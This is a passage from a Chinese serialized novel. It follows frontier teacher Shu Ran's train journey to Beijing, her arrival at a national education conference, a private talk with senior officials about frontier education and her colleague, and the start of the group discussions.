两人默默走了一段才回到包厢,老谢正戴着老花镜看一份报纸,吴代表则在笔记本上写着什么。 窗外的景色逐渐变成了黄土高原风貌。 老谢放下报纸,望着窗外,感叹道:“这地方缺水,庄稼难长,发展起来也很难啊。” “我们那有些类似的地区,”小赵接口道,“扫盲工作更难推动。” “所以我们特别强调要培养本地的种子教师。”舒染说,“外人很难长期驻守。” “种子教师……”老谢念着这个词,“钱呢?报酬怎么解决?不能光靠觉悟吧?” “一开始可能就是义务的,或者记点工分。”舒染回答得很实际,“但我们发现,当这些教师真的开始教,他们自己会获得尊重和价值感。同时,连队或公社,可以给予一些非常实际的奖励,给予一些物资补助,甚至在招工、参军等方面给予考虑。关键是要让他们看到,做这件事,对自己、对家庭是有好处的。光讲奉献,很难持久。” 吴代表停下了笔,抬起头:“对头,光喊口号不行,得有激励,让干活的人觉得有奔头。” 舒染点头,“教育说到底也是人的工作。要尊重人性里那些合理的诉求。” 小赵则听得认真,不时在自己的小本子上记上几笔。 晚饭依然是烧饼和茶叶蛋,加上小赵下车买的几根黄瓜,算是有了点蔬菜。 吃饭时,吴代表接了个话头,讲起他在东北老工业基地学习时的见闻,其中讲到国外专家撤走时工人们凭着简陋的设备和一股不服输的劲头,一点点摸索、仿制、改进技术。 舒染听得入神。 “都不容易。”老谢听完说了一句,“国家这么大,底子薄,要吃饭,要穿衣,要造机器,还要搞教育……哪一样不是从牙缝里省出来的?哪一样不是靠人拼出来的?” 包厢里安静了片刻,舒染忽然觉得,这漫长的旅途,也许不仅仅是奔波,也是一种难得的了解这个时代机会。她想到了那个二十一世纪上海。那里的教室宽敞明亮,教学设备先进,孩子们有读不完的课外书,也有考不完的试和焦虑不完的未来。真是两个世界,两种教育。 第三天开始,身体逐渐适应了这种奔波劳顿。 窗外的景色继续变化。黄土高原逐渐过渡到地势相对平坦的河谷地带。田野更加规整,村庄的密度更大,偶尔能看到二三层的小楼。 包厢里的生活也形成了一种固定的模式。老谢和吴代表除了看文件、写东西、偶尔交谈工作,多了些休闲活动。老谢有一副象棋,吴代表会下,两人便在桌上摆开阵势杀上几盘。小赵有时观战,有时也拿出自己的书来看。舒染则大部分时间要么看窗外的景色,要么闭目养神,在脑海里反复推演发言稿的细节,设想可能被问及的各种问题,以及如何回答。 一天中午,吴代表吃着小赵买回来的肉夹馍时,忽然问舒染:“舒染同志,看你年纪轻轻,在兵团待了也有些年头了吧?家里人都支持吗?” 这问题有些私人,但吴代表的语气很随意,像是长辈闲聊。小赵停下了咀嚼,老谢也从棋盘上抬起目光。 舒染咽下口中的食物,平静地回答:“我家里……情况有些特殊。父母在上海,年纪大了,身体也不太好。当初来支边,有时代的原因,也有家庭成分的影响。”她略去了大部分细节,“支持谈不上,更多的是担心和无奈。最近一两年,沟通才多了一些。” “上海啊,好地方。”吴代表点点头,没有追问成分的细节,这在那个年代是一种心照不宣的礼貌,“大城市来的,能在那苦的地方呆下去,还干出成绩,不容易。想没想过调回去?” 老谢也看向她。小赵更是竖起了耳朵。 舒染笑了笑,“说没想过是假的。尤其是最开始,特别难熬的时候。但后来,事情一件件做起来就觉得……那儿也有那儿的意义。回去,是回到一种熟悉的生活;留下,是参与创造一种新的可能。可能我骨子里还是有点不安分吧。”她的语气带着点自嘲,也带着点坦诚。 “不安分好。”老谢突然开口,手里摩挲着一颗棋子,“年轻人,太安分了没出息。国家建设就需要这种不安分的人去闯去试,去打破一些老规矩。当然,”他话锋一转,看了舒染一眼,“要有分寸,要在组织框架里。你这个什么火种模式就很好,既有新想法,又没脱离实际,没瞎折腾。” 这是很高的评价了。 “谢谢谢主任。我一直记得有位老领导教导过我,做事要实事求是。这是根本。” “实事求是……”吴代表重复了一遍,感慨,“这四个字,说起来容易,做起来难啊。多少事情,坏就坏在不实事求是上。” 话题由此又引申开去,聊起各自工作中遇到的“不实事求是”的例子。聊着聊着,老谢和吴代表都有些激动,声音也大了些,引得隔壁包厢有人探头看。小赵有些紧张,试图把话题往回拉。舒染则只是听着,偶尔点点头,并不轻易发表看法。 火车经过大站时,停留时间较长。站台的规模更大,商品也更丰富,甚至能看到卖水果的。小赵会下车活动,有时带回来一些当地的报纸,让大家了解最新的新闻动态。舒染这时就会透过车窗,观察着站台上形形色色的人。 第六天清晨,舒染早早就醒了。直到广播里传来到站的声音,车厢里瞬间骚动起来,所有人都行动起来。过道里挤满了人,大家都在朝车门方向张望。 舒染也迅速整理好自己的东西。那个旧帆布挎包,装着发言稿和笔记本,此刻显得沉甸甸的。 她换上一直放在铺上的熨烫平整的蓝布列宁装外套,把头发仔细梳好。镜子里的人,面容虽有倦色,但神情坚定。 老谢和吴代表已经提着行李站在包厢门口。老谢对舒染点了点头,吴代表则笑着挥了挥手。小赵紧张地检查着两人的车票和介绍信。 火车缓缓驶入站台,终于停稳,车门打开。 “舒染同志,我们下车。”小赵提起自己的行李,又伸手想帮舒染拿挎包。 “我自己来。”舒将挎包的带子在肩上紧了紧。 她跟在小赵身后,随着人流走下了火车。双脚重新踏上地面时,竟有一时恍惚。 站台上,人流方向各异。她看到了来接站的人群,有人举着牌子,有人高声呼喊。老谢和吴代表很快就被各自单位的人接走了,临走前又对她点头致意。 小赵踮着脚张望了一会儿,兴奋地指着一个方向:“看!那边!有举‘全国教育工作座谈会’牌子的同志!” 舒染顺着他指的方向望去。果然,在出站口附近,有人手里举着块木牌。 舒染对小赵说:“赵干事,我们过去吧。” “好!”小赵精神一振,在前头引路。 舒染跟在他身后,迈入人流之中。 六天六夜的旅途结束了,一段新的征程,就在眼前。 第153章 举牌的是个三十岁出头的男同志, 他身边还站着一个年轻些的女同志,手里拿着个硬壳笔记本。 小赵快步走过去,掏出介绍信:“同志您好, 我们是边疆省来参加教育工作座谈会的。这是舒染同志,我是陪同人员赵新平。” 眼镜男接过介绍信快速扫了一眼, 立刻表现出热情:“舒染同志,赵新平同志,一路辛苦了!我是会务组的王建华, 这位是小李。车在外面等着了,咱们先去安顿。” 小李朝舒染点了点头,目光里有些好奇的打量。 “麻烦王同志了。”舒染说。 王建华帮小赵提起一个行李包,小李想接舒染的挎包, 舒染同样婉拒了。四人随着人流往出站口走。 出站通道长而宽阔, 墙壁上贴着大幅宣传画和标语。 一行人走出车站大门来到了广场。 “这边走。”王建华引着他们往广场东侧去。路边停着几辆吉普车和一辆中型面包车。王建华拉开面包车的门:“上这辆, 还有几位其他地区的代表一起走。” 车里已经坐了五六个人, 有男有女, 年龄都在四十岁以上, 穿着各地常见的干部装。见舒染和小赵上来,众人都投来目光。 王建华简单介绍:“这是边疆省来的舒染同志和赵新平同志。”又对舒染说:“这几位是东北、华北、华中几个地区的代表。” 舒染点头致意, 和小赵在靠后的空位坐下。车子发动,缓缓驶离广场。 舒染望着窗外, 街道很宽,自行车流涌动, 小汽车不多, 大多是吉普或轿车,偶尔有卡车驶过。行人大多步履匆匆,穿着以蓝、灰、绿为主的衣服。街边的建筑多是三四层的楼房, 砖混结构,方正整齐。临街的墙面上满是大字报的痕迹,一层覆盖一层。 “舒染同志是从新疆兵团来的吧?”前排一位五十多岁的女同志回过头来问。 “是的。”舒染答。 “年轻有为啊。”女同志笑了笑,“这次会议规格很高,部里很重视。你们边疆条件艰苦,做出成绩不容易。” “都是同志们一起努力的结果。”舒染说。 “听说你搞了个什么……火种模式?”另一位戴前进帽的男代表插话,“我在材料上看到过,有点意思。不过啊,小同志,咱们这行,光有点子不够,还得看能不能推广开。” 这话有点居高临下的味道。小赵皱了皱眉,想说什么,舒染在底下轻轻碰了下他的胳膊。 “您说得对。”舒染语气平静,“所以我们这次来,也是想向全国各地的前辈和同行学习,看看我们的探索有哪些不足,怎么改进才能更适合不同地区的实际情况。” 东北代表愣了一下,哈哈笑起来:“行,小同志挺会说话。到了会上多交流!” 车里其他人也笑了起来,气氛缓和了些。那个女同志又多看了舒染一眼。 面包车穿过几条大街,拐进一条相对安静的林荫路。路两旁是高大的槐树,枝叶茂密。树后能看到一些院墙和单位大门,门口有站岗的卫兵。车子在其中一个大院门口停下,王建华下车去门卫室交涉,出示了证件。随后,车子驶入。 院子很大,里面是几栋四五层的红砖楼,楼间距宽敞,空地上种着树,还有几个花坛。 “这里是第四招待所,这次会议的代表都住这里。”王建华一边带他们下车一边介绍,“条件有限,大家克服一下。舒染同志,你的房间在二楼,小李带你去。赵新平同志,你住三楼。先安顿一下,洗漱休息,午饭在食堂,十二点开饭。下午三点,请到一号楼会议室开预备会,领会议材料和日程。” 小李接过王建华的话头,对舒染说:“舒染同志,请跟我来。” 舒染对小赵点点头,跟着小李进了其中一栋楼。楼道里的墙壁下半截刷着绿色墙裙,上半截是白灰。水泥地面拖得很干净。 “这边是女同志住的区域。”小李边走边说,“两人一间。和你同屋的是西南省来的林静同志,也是教育战线的先进代表,昨天就到了。” 她在208房间门口停下,掏出钥匙开门。房间不大,两张单人床,靠窗一张书桌,两把椅子,一个衣柜。有独立的卫生间,很小,但能有独立卫生间已经算不错条件了。窗户开着,白色纱帘被风吹得微微飘动。 一张床上已经铺好了被褥,床头放着个黑色人造革提包。另一张床空着,被褥叠好放在床尾。 “这是你的床。”小李指着空床,“被褥都是新换洗的。暖水瓶在桌上,打水在一楼开水间。食堂在一号楼背面,走过去五分钟。还有什么不清楚的随时问我,我住一楼值班室。” “谢谢李同志。”舒染把挎包放在桌上。 “那你先休息,我下去了。”小李带上门离开。 舒染站在房间中央环视周围,环境比她预想的要好。她走到窗边往外看,楼下是柏树和花坛,远处能看到大院围墙和更远处楼房的屋顶。 她脱下外套挂进衣柜,拿出毛巾和牙缸去卫生间。拧开水龙头用凉水洗了把脸,感觉精神了些。 回到房间,她没急着铺床,而是先检查了一下门窗。窗户插销完好,门锁也结实。她从挎包里拿出笔记本压在枕头下面,然后才开始铺床。被褥有阳光晒过的味道,还算蓬松。铺好床,她坐在床边,短暂地放空。六天六夜的颠簸后,突然的静止让人有点不适应,耳朵里似乎还有耳鸣声。 走廊里传来脚步声和说话声,是其他代表回来了。声音渐近,在门口停下,钥匙插进门锁。 门开了,一个四十岁左右的女同志走进来。她手里拿着个搪瓷盆,盆里放着毛巾肥皂。 看到舒染,她愣了一下,随即露出笑容:“你是边疆来的舒染同志吧?我是林静,西南省的。” “林静同志你好。”舒染站起来。 “坐坐,别客气。”林静把盆放下,很自然地走到自己床边坐下,打量着舒染,“路上辛苦了吧?我从西南过来,也坐了四天火车。这骨头都快颠散架了。” 她语气爽朗,有种基层干部特有的直率。 “还好,慢慢习惯了。”舒染也坐下。 “年轻就是好啊。”林静笑道,“我像你这么大的时候,也能扛。现在不行了,坐久了腰疼。对了,你吃饭了没?” “还没,说十二点食堂开饭。” “那一会儿一起去。”林静说着,从提包里拿出个铁皮茶叶盒,又找出两个搪瓷缸,“我带了点我们当地的茶,不是什么好茶,但解渴。你先喝点水。” 她不由分说地给两个缸子都泡上茶,递给舒染一杯。 舒染道谢接过。热茶入喉,确实解乏。 “我刚去打听了下,”林静压低了些声音,“这次会议规模不小,全国各省市、自治区,还有几个重点院校、研究单位的代表,加起来得有不少人。部里几个主要领导都要出席。你们那边来了几个?” “有几个其他会议陪同的干部,正式开会发言就我一个。”舒染说。 “那你压力可不小。”林静看着她,“我听说你那些理念挺受关注,但也有些不同看法。预备会上估计就有得聊了。” 舒染心里微动。林静这话,既是提醒,也是试探。她喝了口茶说:“有讨论是好事。教育本身就有很多种可能,多听听不同意见,才能把事想得更明白。” 林静点点头,没再继续这个话题,转而说起西南地区扫盲的一些具体情况。舒染也分享了一些西北边疆的经验。 两人越聊越投机。林静虽然年纪比舒染大,但没什么架子,说话实在。舒染能感觉到,这是个真正在基层干过实事的人。 十一点半,两人一起出门去食堂。走廊里碰到其他房间出来的代表,彼此点头致意。下楼时遇到小赵,他正和一个年轻男代表说着什么,看到舒染,过来打招呼:“舒染同志,休息得怎么样?” “还好。这位是西南省的林静同志。” 小赵和林静互相认识了一下。三人一起往食堂走。路上小赵小声对舒染说:“我刚才打听了一下,这次会议分了好几个小组,可能按地区分,也可能按议题分。咱们人少,很可能被编入西北大组。” 食堂是一栋平房,面积不小,摆着几十张圆桌。已经有不少代表在排队打饭。饭菜是标准的工作餐:主食是米饭和馒头,菜有白菜炖粉条、炒土豆丝、西红柿鸡蛋汤,每人还有一小碟咸菜。分量很足。 舒染、林静、小赵和另外两个不认识的代表坐了一桌。吃饭时大家简单自我介绍,都是来自不同省份的教育干部或先进教师。话题自然围绕这次会议。 “听说这次要讨论下一步全国扫盲工作的总体规划。”一个戴眼镜的男代表说,“可能还要出台新的指导文件。” “早就该有统一规划了。”另一个女代表接话,“现在各地各搞各的,标准不统一,资源也浪费。” “统一也得考虑地方差异。”林静说,“我们西南山区和你们华东平原,情况能一样吗?” “所以要有分类指导嘛……” 舒染安静地吃着饭,听他们讨论。她能感觉到,每个人背后都代表着一套地方经验和工作逻辑,也都有各自的诉求和顾虑。这次会议,与其说是来听报告,不如说是一场博弈。 饭后回到房间,林静说要午睡一会儿。舒染没有睡意,她拿出笔记本,把上午的见闻和与林静的交谈要点简单记了几笔。 下午两点五十,她和林静一起出门去一号楼会议室。小赵已经在楼下等着了。 会议室能容纳百余人,前排摆着长条桌和麦克风,后面是一排排的椅子。已经来了不少人,三三两两地坐着交谈。王建华和小李在门口分发材料,每人一个牛皮纸文件袋。 舒染领了材料,和林静找了靠中间的位置坐下。文件袋里有会议日程、参会人员名单、几份背景资料,还有一本空白笔记本和两支铅笔。 她先看日程。会议为期五天,第一天开幕式和领导报告,第二天分组讨论,第三天大会交流发言,第四天继续分组讨论和总结,第五天闭幕。日程排得很满。 参会名单很厚,她快速浏览。看到了许多领导的名字,也看到了一些知名师范院校、教育研究机构学者的名字。在另一份列席领导名单的末尾,她看到了一个不太熟悉的部门名称和一位姓周的领导,职务标注的是“中央保卫部”。 会议室里人越来越多,声音嘈杂起来。舒染看到王建华引着几位领导模样的人在前排就坐。其中一位头发花白的,她认出是之前在照片上看过的教育界一把手孙副部长。还有几位她不认识,但看气度应该都是部里的领导。 三点整,一位中年干部走到前排麦克风前,敲了敲话筒:“同志们,请安静。全国教育工作座谈会预备会议现在开始。” 会场渐渐安静下来。 “首先,我代表会务组,欢迎各位代表来到北京……” 舒染虽然听着,但注意力也在观察会场。前排领导们在低声交流,各地代表们正低头翻看材料,或与邻座小声交谈。 讲话持续了约二十分钟。然后是自由交流时间,会务组希望代表们就会议安排提出意见建议。有几个代表举手发言,有的问分组具体怎么分,有的问会后是否有参观安排,有的对材料中的某些提法提出疑问。会务组一一回应。 舒染安静地坐着,目光扫过会场。在靠后的一排,她看到了同车的那几位代表。 自由交流快结束时,前排那位孙副部长忽然拿过话筒:“我补充两句。” 会场立刻安静下来。 “这次会议,我们特意邀请了一些来自基层一线的,在教育工作中有创新探索和突出成绩的同志……”他点了五六个人的名字。舒染感觉到周围的开始窃窃私语。 “我们希望,这次会议不仅是传达精神、布置工作,更是一个交流的平台。”孙副部长继续说,“基层的同志最了解实际情况,你们的经验、你们遇到的困难、你们的思考,对我们制定政策和推动工作至关重要。所以,请各位代表,特别是基层来的同志,放开思想,畅所欲言。我们要听的,是真话,是实话。” 会场响起掌声。舒染也跟着鼓掌。 预备会结束,代表们陆续离场。舒染和林静随着人流往外走。在门口,王建华叫住她:“舒染同志,请留步。” 舒染停下。王建华走过来,低声说:“孙副部长想和你简单聊几句,现在方便吗?” 舒染心中一动,点点头:“方便。” “请跟我来。” 王建华引着她往会议室侧面的一间小会客室走。林静看了舒染一眼,用眼神示意她别紧张,然后和小赵先走了。 孙副部长正和那位周部长说话。见舒染进来,孙副部长笑着站起身:“舒染同志,来,坐。” 周部长也朝舒染点了点头,他目光中的锐利让她想到了第一次见到的陈远疆。 “孙部长,周部长。”舒染礼貌地打招呼。 “这位是中央保卫部的周部长。”孙副部长介绍道,“周部长对边疆工作很关心,今天特意过来听听。” 周部长朝舒染点了点头,“舒染同志,你好。坐吧,不用拘束。” 中央保卫部……这个部门的名字让她立刻联想到了陈远疆的工作性质。她面上不显,依言在空着的单人沙发上坐下。 “别紧张,就是随便聊聊。”孙副部长语气和蔼,“刚才在车上还顺利吧?住的地方还习惯吗?” “都很好,谢谢领导关心。” “你那份材料,我看了。”孙副部长切入正题,“周部长也看过摘要。思路很清晰,做法也扎实。特别是你提出来的‘生存教育先行’这个观点,很有见地,这个定位很准。” “是基层实际逼出来的想法。”舒染说,“群众最实在,看不到用处,就不愿意学,也学不进去。” “是啊,群众最实在。”孙副部长感慨,“所以我们搞教育,不能脱离群众实际需求。你这个火种模式的方向是对的。” 周部长这时开口,问得很直接:“舒染同志,你在材料里提到,你们的种子教师很多本身就是兵团职工或者本地青年。他们学了文化,教了别人,自己会不会也产生往外走的想法?边疆条件艰苦,留人难啊。” 这个问题让舒染立刻打起精神。 “周部长,这个问题我们确实遇到过,也思考过。”她回答得谨慎:“留人难,光靠讲奉献确实不够。我们的做法是双管齐下。一方面,让这些教师在教学中获得实实在在的尊重和价值感。另一方面,我们也努力争取一些非常实际的激励。更重要的是,”她组织了一下语言,“我们尝试着把他们的个人成长和边疆建设更紧密在一起。让他们感受到成就感和归属感,有时候比单纯的物质待遇更能留得住人。” 她举了一些例子,周部长听得很认真,手指在沙发扶手上轻轻敲了敲:“把个人发展和边疆需要结合起来……这个思路很好。边疆的稳定和发展,归根结底要靠生活在那里的人,尤其是年轻一代,真心实意地留下来建设它。教育如果能起到这样的纽带作用,那就不仅仅是教书识字了。” 这话说得意味深长。舒染隐约感觉到,周部长的关注点似乎超出了单纯的教育范畴。 孙副部长接过话头:“是啊,教育在边疆,意义特殊。它既是民生,也是国策。舒染同志,你们在基层可能感受更深。边疆长治久安,光靠边防战士站岗放哨是不够的,还得人心安定,文化认同,生活有盼头。你这火种点的不仅是知识的灯,说不定啊,也是人心稳定的灯。” 周部长点了点头,目光再次落到舒染身上,眼神中多了些深意:“我听说,舒染同志在边疆,不只是办教育,还帮着处理过一些突发情况?跟当地群众,包括少数民族群众,关系处得不错?” 舒染心里一凛。周部长显然知道得不少,可能包括她参与处理敌特破坏、调解牧区矛盾等事情。这些事按理说不该是这种大领导需要详细了解的。 “都是工作需要,也是碰巧了。”舒染斟酌着措辞,“在基层,在边疆,很多事情是分不开的。教孩子识字,就要跟家长打交道;家长有困难,能帮的也就顺手帮了。接触多了,彼此了解多了,有些工作也更好开展。” 周部长脸上露出笑意:“看来舒染同志不仅书教得好,群众工作也有一套。”他话锋一转,像是随口问起,“对了,听说你跟远疆那孩子,在工作中配合得也挺默契?” 舒染一惊。她没想到周部长会在此刻以这种方式提起陈远疆,她瞬间明白了——这位周部长不仅认识陈远疆,很可能与那位老首长关系匪浅。 她尽量让语气听起来自然平静:“陈特派员……陈远疆同志在边疆工作时,对教育工作很支持。他熟悉当地情况,在沟通协调、安全保障方面给了我们很多帮助。我们都很感谢他。” 她回答得滴水不漏,完全限定在工作关系范畴。 周部长和孙副部长交换了一个眼神,那眼神里有一种心照不宣的意味。孙副部长笑了笑:“远疆同志是从边疆成长起来的优秀干部,原则性强,有基层经验,难得的是对边疆有很深的感情。部里和相关部门,对他都很重视,正在考虑给他加加担子。” 周部长看着舒染,语气郑重:“舒染同志,今天找你来聊,一是确实对你和边疆同志们的教育探索很感兴趣,也很肯定。二来呢,也是想听听你这位一直扎在边疆的教育专家,对边疆的未来,特别是教育、文化在边疆长远稳定发展中该扮演什么角色,有什么更深入的看法。不瞒你说,国家层面,正在统筹考虑一个更大的布局,不仅仅是军事上的守边固防,更包含教育固边、文化融边、经济兴边的系统战略。教育,是其中最基础、也最前端的一环。” 他推心置腹地说:“而执行这个战略,需要的人,既要懂边疆,有感情,能扎根;也要有眼光,懂方法,能创新;还要有志同道合的伙伴能形成合力。远疆同志在这方面有他的优势,而你,舒染同志,你的实践和经验,你的想法和魄力,让我们看到了另一种不可或缺的可能性。你们俩在边疆的配合,已经证明了很多。” 话说到这个份上已经再明白不过,这不是一次简单的领导关心。领导们不仅认可她的工作能力,更将她和陈远疆视为一个组合来考察。 舒染暗暗吸了一口气,再次抬眼,神色坚定,“感谢领导的信任和看重。我就是一个普通的基层教育工作者,做了一点力所能及的事。如果组织认为我和陈远疆同志能够在这个进程中贡献一点力量,我们会竭尽全力。” 周部长满意地点了点头,靠回沙发:“很好。具体的政策和安排,将来会逐步明确。眼下,你还是集中精力开好这次会。这也是为将来的工作打基础、造舆论。” “我明白,周部长,孙部长。” “好了,不耽误你太多时间。”孙副部长站起身,“路上辛苦了,晚上好好休息。” “谢谢孙部长,周部长,廖处长。” 舒染离开会客室,回到主楼外,后背却渗出了一层薄汗。刚才那番谈话的信息量太大了,她需要时间消化。 小赵在不远处等她,见她出来,快步走过来,脸上带着关切:“舒染同志,没事吧?” 舒染摇摇头,露出一个让他安心的笑容:“没事,领导多问了些边疆的情况。回去吧。” 两人往回走。小赵欲言又止,最后还是忍不住低声说:“舒染同志,我刚才看到那位和孙副部长一起出来的领导,气场可真强……是更大领导吧?” “嗯,是关心边疆工作的领导。”舒染含糊地带过,“赵干事,刚才我被叫去谈话的事情,暂时不要对外提及。” 小赵立刻严肃起来:“我明白,舒染同志,你放心。” 回到房间,林静正在洗衣服。见舒染回来,她甩了甩手上的水:“聊完了?看你脸色,谈得挺深入?” 舒染在床边坐下,揉了揉太阳穴:“嗯,领导问得很细,对边疆教育很关心。” 林静是聪明人,看出舒染不想多谈,便不再追问,转而说:“领导重视是好事。不过压力也大。早点休息吧。” 晚饭时,舒染显得有些沉默。她脑子里反复回响着周部长的话,忽然理解了陈远疆的消失的原因。 饭后散步时,她对林静说:“林大姐,你说,咱们做基层教育,最大的意义是什么?” 林静想了想,说:“往小了说,是让几个孩子、几个大人多认几个字,日子过明白点。往大了说……我也说不好。但总觉得,咱们在穷地方、苦地方坚持做这件事,就不光是教书,还有点别的分量。就像你说的,让人心稳。” “让人心稳……”舒染重复着这句话,望着夜空,想起了在畜牧连看到的星空。 “想家了?”林静问。 舒染回过神,笑笑:“有点。想边疆了。” “正常。我刚出来那几天也不习惯。”林静说,“首都是好,大,热闹,但总觉得不是自己的地方。待几天就想回去了。” 两人默默走了一段。快到宿舍楼时,林静忽然说:“小舒,你明天发言,要是有人问刁钻问题,别慌。实在答不上来,就说这个问题需要进一步研究,会后再详细汇报,别让人牵着鼻子走。” 这是过来人的经验。舒染点头:“谢谢林姐,我记住了。” 两人回到房间,舒染洗漱完,靠在床头又看了一遍发言稿。其实内容早已烂熟于心,但多看一遍,心里踏实些。十点多,林静也洗漱完,关了灯。 黑暗中,舒染睁着眼睛。这几天发生的一切在脑海里闪过,最后慢慢沉淀下来。 她知道自己要做什么,至于结果,那不是她能完全控制的。想明白这一点,心里反而平静了。睡意渐渐袭来。 第154章 第二天早晨六点半, 广播喇叭在招待所院子里响起。 舒染醒了。她睡眠不深,但质量还行。林静还在睡。 舒染轻手轻脚起床,洗漱, 换上列宁装,把头发仔细梳好。镜子里的人眼底还有些淡青, 但眼神清明。 六点五十,林静也醒了,揉着眼睛坐起来:“几点了?” “快七点。” “哎呀, 起晚了。”林静赶紧下床。 七点整,食堂开早饭。舒染和林静到的时候,已经有不少代表在吃了。今天要开正式会议,大家都收敛了闲聊。 小赵端着餐盘过来和她们坐一起。他眼睛有点红, 显然没睡好。 “赵干事, ”舒染温和地说, “放轻松。该准备的都准备了, 现在需要的是保存体力, 保持状态。” 小赵点点头, 埋头吃饭。 饭后回到房间,舒染最后检查了一下要带的东西。林静也在做同样的事。两人对看一眼, 都默契地没说话。 八点二十,代表们陆续前往一号楼大礼堂。礼堂能容纳四五百人, 主席台上方挂着红色横幅。台下座位分区域,有桌签。舒染找到自己的位置, 在中间偏后。小赵坐在她旁边。 各地代表按区域就坐, 会场很快坐满。工作人员在过道穿梭,调试麦克风、检查音响。主席台上,领导们还没入场, 但工作人员已经在摆放名牌和茶杯了。 八点半整,红歌音乐响起,全体起立。主席台侧门打开,一行领导在工作人员引导下入场。走在最前面的是教育部主要领导,周部长也在其中。领导们在主席台就坐。 音乐停止。主持人宣布会议开幕,奏国歌。全体肃立。国歌奏毕,主持人介绍与会领导、来宾,宣读会议议程。然后是领导致开幕词。 致词的是教育部一把手,一位头发银白的老人。他讲话不疾不徐,讲话内容宏观,强调教育的重要性、当前形势、会议任务。 舒染认真听着,不时在笔记本上记下要点。 开幕词持续了四十分钟。然后是孙副部长做主题报告,关于当前全国教育工作基本情况、主要成绩、存在问题及下一步工作思路。报告很详细,用了大量数据。舒染听得更认真,这些信息有助于她理解自己所在的位置。 报告持续了一个半小时。中间休息十五分钟。代表们纷纷起身活动,去卫生间,或到走廊透气。舒染也站起来,活动了一下僵硬的脖子和肩膀。 小赵小声说:“舒染同志,要不要喝水?” 舒染摇摇头,她目光扫过会场。廖承不在主席台上,应该在台下某个位置。 休息结束,会议继续。下午是另一位副部长做关于教材建设与改革的专题报告。 专题报告后,是自由提问时间。有几个代表举手,问题多是关于报告中的某些政策细节或数据。领导一一解答。 下午五点半,第一天的会议结束。代表们有序退场。 晚饭时,气氛轻松了些。一天的正规会议下来,大家都有些疲惫,但也慢慢适应了节奏。舒染这桌又多了几个新面孔,彼此交流着对今天会议内容的看法。 “孙部长报告中提到要加强对边远贫困地区教育的支持,这是个积极信号。”西北某省的一位干部说。 “关键是政策怎么落地。”另一位代表说,“我们那儿也是老少边穷地区,每次都说支持,但到下面,资源还是不够分。” “所以要有重点,有先后。”林静插话,“像我们西南山区,最缺的是老师。培养一个本地老师,比派十个外地老师下去都管用。” 话题自然转到师资培养上。舒染分享了在边疆的做法,大家听了都很有兴趣,问了很多具体问题。舒染一一回答。 饭后,舒染照例和林静散步。夜色中的招待所院子很安静,只有少数代表还在走动。 “小舒,你今天听会感觉怎么样?”林静问。 “信息量很大。”舒染说,“能感觉到国家对基层情况是了解的,也想解决问题。但具体怎么做,可能还需要更细致的方案。” “是啊,上面有上面的难处,下面有下面的难处。”林静叹气,“有时候不是不想做,是实在没办法。” 两人走到路边,在石凳上坐下。 “所以你们那个模式给了荣誉,也给实际好处,这个思路对。”林静继续说,“人嘛,总要有点奔头。光讲奉献,一时可以,长久不行。” 舒染点点头。她想起陈远疆,想起他说的“根扎深了,就没人能轻易撼动”。其实做任何事都一样,要想长久,就得让参与其中的人都能从中获得价值,无论是精神上的,还是物质上的。 “对了,”林静忽然想起什么,“明天分组讨论,你们第三组在二楼小会议室。组长是一位副司长,副组长是廖承主任。你要有心理准备,这个组讨论可能会比较激烈。” “谢谢林大姐提醒。” “廖组长你认识吧?”林静看着她,“我看他今天散会时好像往你这边看了几眼。” 舒染心里微动,但表情不变:“在边疆考察时见过,工作上有过交流。” “哦。”林静没再多问,站起身,“走吧,回去早点休息。明天分组讨论,你要发言吧?” “嗯,要介绍我们的探索。” “好好讲。我听着。” 回到房间,舒染洗漱完,靠在床上看明天分组讨论的议题材料。第三组的议题确实聚焦了难度,下面列了几个子议题,每个子议题都有引导性问题。 她把自己的发言要点与这些议题一一对照,思考如何更好地切入。看了一会儿,眼睛有些酸涩。她放下材料,关灯躺下。 黑暗中,她能听到林静均匀的呼吸声。她想起白天在会场,确实感觉到有一道目光看向她。当时她正在记笔记,没有抬头,但那种被注视的感觉很清晰。是廖承吗?也许吧。 她又想起陈远疆。他到北京已经几个月了,在做什么?如果他知道她来了,会来找她吗?怎么找?她住的是会议招待所,管理严格,外人不能随便进出。 思绪有些乱。她翻了个身,强迫自己不再想。明天还有重要的讨论,需要集中精力。 第二天早晨,流程照旧。早饭后,代表们按分组前往不同会议室。舒染和小赵来到二楼小会议室。 会议室不大,椭圆形长桌,能坐二十多人。已经来了十几位代表,舒染看了一下桌签,有西北几个省区的,有西南山区的,也有中部贫困县的。大家彼此点头致意。 廖承已经坐在了主持位旁边,见舒染进来,他目光与她接触,微微点头,算是打招呼。没有多余的表情。 小赵在舒染耳边小声说:“那位就是廖组长。” “嗯。”舒染在自己位置上坐下。她的位置在长桌中段,对面是西北某自治区的代表,是一位男同志。 九点整,人基本到齐。主持会议的是张副司长,五十多岁,戴眼镜,说话慢条斯理。他先介绍了本组议题和讨论安排,然后请大家依次做自我介绍。 一圈介绍下来,舒染基本记住了在座的人。有省厅干部,有地县教育局长,有基层校长,也有像她这样的一线教师。大家来自不同地区,但有一个共同点:所在地方都经济文化相对落后,教育工作面临特殊困难。 自我介绍后,张副司长说:“咱们这个组,讨论要务实。大家把各自地区最突出的问题、最有效的做法、最迫切的建议都摆出来。不搞空对空,就说实际情况。廖组长,你看呢?” 廖承点头:“我同意张司长的意见。我们这次分组讨论,就是要听到最真实的声音。大家放开谈。” 讨论从第一个子议题开始。西北某省的一位处长先发言,介绍他们省的做法。讲得很具体,但舒染听出,他们主要靠行政推动,动员力量强,但持续性存疑。 接着几位代表发言,各有侧重。有人强调政治性,把扫盲和思想教育紧密结合;有人强调要实用为主,先教群众最急需的字词;也有人提出要分类施策。 舒染安静地听着,不时记笔记。她能感觉到,虽然大家目标一致,但背后的理念和工作逻辑有差异。 轮到她了。 “我来自边疆兵团基层。”舒染开口,“我们主要是在农牧连队和周边牧区开展扫盲和基础教育工作。我们的做法,总结起来就是‘生存教育先行,文化教育跟进,理想教育引领’。” 她开始介绍具体做法,讲得很细,用了很多具体例子。在座的代表们听得很认真。有人频频点头,有人快速记录。 她讲完,会议室安静了几秒。然后张副司长说:“讲得很好,很实在。大家有什么问题,可以交流。” 一位来自中部山区的教育局长举手:“舒染同志,你提到给教师激励,具体有哪些?经费从哪里来?” 舒染回答:“主要是连队或公社从集体经费中挤出一部分,还有就是荣誉激励。经费确实紧张,所以我们强调就地取材,教材也尽量简单实用,减少开支。” “这样能持久吗?”另一位代表问,“靠基层单位自己挤,恐怕不稳定。” “确实有这个问题。”舒染坦诚地说,“所以我们也在探索,能不能形成制度化的支持。” 